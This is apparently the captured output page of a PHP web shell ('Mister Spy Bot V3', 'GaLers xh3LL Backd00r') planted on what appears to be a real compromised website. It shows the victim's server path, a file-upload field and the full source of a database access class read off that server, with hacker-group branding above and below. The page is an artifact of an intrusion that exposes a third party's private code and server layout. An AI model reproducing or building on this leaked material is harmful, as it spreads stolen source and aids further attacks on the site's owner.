Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.subcomisioneselecciones.php

<?php 

require_once('class.dbaccess.php');
require_once('class.subcomisioneleccion.php');
require_once('class.filter.php');
require_once('class.page.php');

class SubcomisionesElecciones extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = ' WHERE 1';
		
		if (isset($filter['Nombre']) && ($filter['Nombre'] != ''))
			$sql.= " AND Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		
		if (isset($filter['IdEventosFuncionalesPrueba']) && ($filter['IdEventosFuncionalesPrueba'] != ''))
			$sql.= " AND IdEventosFuncionalesPrueba = " . DB::Number($filter['IdEventosFuncionalesPrueba']);

		return $sql;
	}


	public function GetPagesCount(Page $oPage, array $filter = NULL)
	{	
		$Count = $this->GetCountRows($filter);

		$Count = $Count / $oPage->Size;
		
		return ceil($Count);
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblSubcomisionesElecciones";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		$sql.= " ORDER BY IdEventosFuncionalesPrueba ASC";
		

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oSubcomisionEleccion = new SubcomisionEleccion();
			$oSubcomisionEleccion->ParseFromArray($oRow);
			
			array_push($arr, $oSubcomisionEleccion);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}


	public function GetById($IdSubcomision)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblSubcomisionesElecciones";
		$sql.= " WHERE IdSubcomision = " . DB::Number($IdSubcomision);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oSubcomisionEleccion = new SubcomisionEleccion();
		$oSubcomisionEleccion->ParseFromArray($oRow);
		
		return $oSubcomisionEleccion;		
	}
	

	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblSubcomisionesElecciones";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat